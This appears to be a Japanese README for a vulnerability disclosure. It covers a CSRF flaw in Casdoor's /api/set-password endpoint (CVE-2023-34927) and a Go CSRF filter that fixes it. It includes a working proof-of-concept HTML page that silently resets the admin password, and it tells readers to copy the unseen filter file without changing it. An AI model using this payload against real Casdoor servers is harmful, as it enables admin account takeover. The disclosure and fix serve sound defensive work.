
Casdoor の `/api/set-password` エンドポイント (CVE-2023-34927) に対する概念実証 CSRF エクスプロイト。クロスサイト POST リクエストによる不正なパスワード変更を可能にします。Go ベースの CSRF フィルタ修正が含まれています。
概要
/api/set-password における CSRF により、同意なしにパスワードを変更可能。影響
built-in/admin) を変更でき、アカウント乗っ取りにつながります。攻撃の前提条件
casdoor_session_id Cookie を持っている。/api/set-password への POST を自動送信する悪意のあるページを訪問する。概念実証
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
<input name='userOwner' value='built-in' type='hidden'>
<input name='userName' value='admin' type='hidden'>
<input name='newPassword' value='hacked' type='hidden'>
<input type=submit>
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</html>
根本原因
/api/* 配下の状態変更エンドポイントが、同一オリジンチェック (Origin/Referer) や CSRF トークンを強制することなく、Cookie 認証されたリクエストを受け入れています。修正の概要
/api/* 配下のクロスサイトかつ Cookie ベースの POST/PUT/DELETE/PATCH リクエストを拒否します。Authorization、Basic 認証、クライアントクレデンシャル、または accessToken など) を伴うリクエスト、またはブラウザのセッション Cookie を持たないリクエスト (典型的なサーバー間呼び出し) は許可します。実装
csrf_filter.go に実装されている routers.CSRFFilter を使用します。このフィルターは:
Casdoor への統合方法
csrf_filter.go を Casdoor プロジェクトの既存の routers パッケージにコピーします。このファイル内のいかなる内容も変更または削除しないでください。main 内):
// Beego v1 style
web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
// If your project uses Beego v2 and imports as `web`:
// web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
検証
Unauthorized operation で拒否され、サーバーは CSRF check failed をログに記録するはずです。Authorization ヘッダーまたは accessToken パラメータを含むクロスオリジン API 呼び出しは引き続き機能するはずです。リポジトリのファイル
csrf_filter.go: Casdoor の routers パッケージにコピーする CSRF フィルター。poc.html: CSRF 攻撃を再現する最小限のページ。README.md: 脆弱性と修正手順を説明するこのドキュメント。参考資料
動画